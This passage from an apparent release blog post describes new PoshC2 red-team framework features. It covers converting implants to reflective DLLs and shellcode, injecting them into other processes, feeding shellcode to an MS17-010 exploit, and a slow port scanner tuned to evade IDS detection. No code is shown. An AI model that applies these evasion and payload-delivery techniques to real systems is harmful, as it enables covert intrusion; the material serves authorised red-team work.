In addition, PoshC2 converts the newly created reflective DLL into Shellcode via @monoxgas’s sRDI PowerShell module. This module converts Reflective DLLs into position independent shellcode.

The Reflective DLL and new Shellcode has enabled PoshC2 to be more flexible in its execution and deployment. Many other tools will allow for a reflective DLL or shellcode to be loaded. Take for example, the MS17-010 eternal blue exploit written in Powershell. This exploit takes shellcode as a parameter to execute if the host is successfully exploited; having Shellcode as a payload format allows this to be possible.

Also for migration, we now use either the reflective DLL or the Shellcode to squirt the implant into another process. When first starting PoshC2 it will create both the reflective DLL’s as shown below.

  • Posh_x64.dll
  • Posh_x86.dll

To test these out, they can be called via rundll32:

  • Posh-shellcode_x64.bin
  • Posh-shellcode_x86.bin

To test these out, they can be called via the new Inject-Shellcode script or by using ‘migrate’ in the implant window:

PORTSCANNER

@rbmaslen has created a super fast portscanner written in C# which has been ported to PoshC2 using the AssemblyLoad function rather than AddType. This is not to obfuscate the code at all, but in case you’re not aware the add-type function in PowerShell actually compiles the code on the fly and touches disk in the interim. This is why both the SharpSocks and Portscanner modules have been written to use AssemblyLoad instead.

The port scanner can take various parameters, but mostly we like the fact you can go into ‘super fast’ mode which allows you to set the maximum queries per second (-maxQueriesPS). This is similar to masscan’s rate parameter. This is good when your intention is not to be stealthy and you want to perform quick port scanning against a target. An example has been shown below.

On the other hand, when performing Red Teaming the ultimate aim is usually to be stealthy and we have implemented the option for delaying the portscan. For example, if you set the max queries per second (-maxQueriesPS) to 1 and the delay (-Delay) to 10, it will attempt to connect to each port with a 10 second delay hopefully bypassing any host or network IDS detection. An example of this has been shown below.

CONCLUSION

Go and download the latest version of PoshC2 with SharpSocks and let us know what you think!